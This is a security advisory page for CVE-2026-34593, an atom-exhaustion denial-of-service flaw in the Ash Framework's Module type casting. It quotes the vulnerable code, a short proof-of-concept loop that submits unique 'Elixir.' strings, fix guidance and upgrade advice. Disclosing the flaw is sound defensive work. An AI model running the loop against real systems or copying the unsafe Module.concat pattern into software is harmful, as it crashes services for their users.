CVE-2026-34593: Ash Framework: Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash

Published Apr 1, 2026
·
Updated

Summary

Ash.Type.Module.castinput/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with "Elixir.", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application.

Details

Setup: A resource with a :module-typed attribute exposed to user input, which is a supported and documented usage of the Ash.Type.Module built-in type:

elixir defmodule MyApp.Widget do use Ash.Resource, domain: MyApp, datalayer: AshPostgres.DataLayer

attributes do uuidprimarykey :id attribute :handlermodule, :module, public?: true end

actions do defaults [:read, :destroy] create :create do accept [:handlermodule] end end end

Vulnerable code in lib/ash/type/module.ex, lines 105-113:

elixir def castinput("Elixir." <> = value, ) do module = Module.concat([value]) # <-- Creates new atom unconditionally if Code.ensureloaded?(module) do {:ok, module} else :error # <-- Returns error but atom is already created end end

Exploit: Submit repeated Ash.create requests (e.g., via a JSON API endpoint) with unique "Elixir." strings:

elixir Attacker-controlled loop (or HTTP requests to an API endpoint) for i <- 1..1100000 do Ash.Changeset.forcreate(MyApp.Widget, :create, %{handlermodule: "Elixir.Attack#{i}"}) |> Ash.create() # Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom # castinput returns :error but the atom :"Elixir.Attack#{i}" persists end After ~1,048,576 unique strings: BEAM crashes with systemlimit

Contrast: The non-"Elixir." path in the same function correctly uses String.toexistingatom/1, which is safe because it only looks up atoms that already exist:

elixir def castinput(value, ) when isbinary(value) do atom = String.toexistingatom(value) # safe - raises if atom doesn't exist ... end

Additional occurrence: caststored/2 at line 141 contains the identical pattern, which is reachable when reading :module-typed values from the database if an attacker can write arbitrary "Elixir." strings to the relevant database column.

Impact

An attacker who can submit requests to any API endpoint backed by an Ash resource with a :module-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.

Fix direction: Replace Module.concat([value]) with String.toexistingatom(value) wrapped in a rescue ArgumentError block (as already done in the non-"Elixir." branch), or validate that the atom already exists before calling Module.concat by first attempting String.toexistingatom and only falling back to Module.concat on success.

Other sources

Ash Framework is a declarative, extensible framework for building Elixir applications. Prior to version 3.22.0, Ash.Type.Module.castinput/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with "Elixir.", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application. This issue has been patched in version 3.22.0.

MITRE

Affected Software

2 affected componentsFixes available
erlang/ash<=3.21.3
3.22.0
Ash-hq Ash Framework<3.22.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade erlang/ash to a version that resolves this vulnerability.

    Fixed in 3.22.0
  2. Upgrade

    Upgrade Ash.Type.Module (Ash Framework) to a version that resolves this vulnerability.

    Fixed in 3.22.0Patch 3.22.0

Event History

Apr 1, 2026
Advisory Published
via GitHub·12:14 AM
Data Sourced
via GitHub·12:14 AM
DescriptionWeaknessAffected Software
Apr 2, 2026
CVE Published
via MITRE·05:42 PM
Data Sourced
via MITRE·05:42 PM
DescriptionWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-34593?

CVE-2026-34593 is considered a high severity vulnerability due to its potential for arbitrary atom creation in Erlang.

2

How do I fix CVE-2026-34593?

To fix CVE-2026-34593, you should upgrade to Ash version 3.22.0 or later.

3

What causes CVE-2026-34593?

CVE-2026-34593 is caused by unconditionally creating a new Erlang atom from user-supplied input without verifying the module's existence.

4

Which versions are affected by CVE-2026-34593?

CVE-2026-34593 affects Ash versions up to and including 3.21.3.

5

Is CVE-2026-34593 an issue with user input handling?

Yes, CVE-2026-34593 is related to improper handling of user input when creating Erlang atoms.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203